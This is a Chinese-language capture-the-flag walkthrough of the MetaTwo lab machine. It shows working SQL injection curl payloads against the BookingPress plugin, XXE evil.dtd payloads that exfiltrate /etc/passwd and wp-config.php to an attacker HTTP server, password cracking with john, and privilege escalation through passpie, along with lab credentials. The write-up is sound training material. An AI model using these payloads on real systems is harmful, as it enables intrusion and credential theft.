kali攻击机ip:10.10.14.134
可以ping通靶机,那就开始通关啦
端口扫描
nmap -sS -sV -T5 10.10.11.186
目录不少,但是有用的没几个
访问80端口
cms为wordpress
(推荐一下wappalyzer插件,是个好用的网站分析工具)
点这个链接看看
cms也是wordpress,服务器为nginx
查看wordpress5.6.2的cve(别问为什么是这个,我也是看别人用这个我就跟着用)
XXE漏洞
既然是wp,那就用wpscan扫一下
这里也告诉我们服务器为nginx,web应用框架为php
有一个robots.txt文件
访问一下
有个sitemap,应该是网站文件目录
果然,没什么特别的
回去看看页面源码,发现了bookingpress插件
查找cve,版本非常吻合
漏洞利用
BookingPress < 1.0.11 - 未经身份验证的 SQL 注入 WordPress 安全漏洞 (wpscan.com)
根据提示在源码里寻找action:xxxx
_wpnonce:0aea629c56
测试用例
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
爆数据库名
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT database(),@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
爆表名
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.tables where table_schema=database()-- -'
爆字段名
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.columns where table_schema=database() -- -'
爆字段
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login) ,group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
爆出来两个账号密码,可以看出来是MD5编码
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
后面回看的时候发现别的博主有更好的方法,就是利用sqlmap自动注入
vim post.txt
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Content-Length: 218
Content-Type: application/x-www-form-urlencoded
Connection: close
action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -
sqlmap -r post.txt -p total_service -D blog --tables
意思意思就好了,到此为止,回归正题
利用john破解密码
john -w=/usr/share/wordlists/rockyou.txt pass.txt
partylikearockstar
ssh,ftp都尝试用两个用户名登录了,都不对
想想还有个wp的后台没试过,不妨看看
用manager登录进来了,确实是wp后台
找到文件上传的地方
漏洞利用
motikan2010/CVE-2021-29447: WordPress - Authenticated XXE (CVE-2021-29447) (github.com)
根据步骤一步一步来
搭建web服务
make up-wp
make up-mal
cd attacker/www
来到网站目录
修改一下这个恶意脚本,改为我们kali的ip
生成恶意wav文件(用来上传到靶机网站的)
此时目录下有两个文件
回到upload.php
上传wav文件
我们搭建的服务器处返回base64编码的文件
使用base -d
命令解析
不是,这啥?说好的/etc/passwd呢
搞了半天才发现,原来把evil.dtd第一句里面的/zlib.deflate
这截删掉就好了
最终版evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >
base64解码
echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d
发现用户jnelson
因为靶机使用的是nginx服务器,我们可以看看它的配置文件
修改evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >
发现nginx配置文件目录 /etc/nginx/sites-enabled
这里意思是加载/etc/nginx/sites-enabled的默认配置文件
查看默认配置文件default
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >
可看到网站根目录为/var/www/metapress.htb/blog
查看wp根目录下的配置文件wp-config.php
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >
发现FTP账号密码
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
登录ftp
查看mailer目录
cd mailer
下载文件到本地
get end_email.php
cat send_email.php
发现用户密码
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
ssh远程连接
sudo,suid都木有发现
目录探测
发现可执行文件.passpie
搜索发现,Passpie
是一个基于命令行的密码管理器
先把flag拿了
进入passpie目录
cat .keys
将.keys复制到kali机上解密(.keys里面有公钥和私钥,把公钥删了,只留私钥给john解密)
将keys转换为john可识别的文件
(我说怎么没有pgp2jon,原来是gpg2john)
gpg2john keys > hash
john解密
john -w=/usr/share/wordlists/rockyou.txt hash
blink182
回到主目录再export,不然会报权限不足错误
passpie export pass
拿到root密码
p7qfAZt4_A1xo_0x
提权成功~~
o了 😃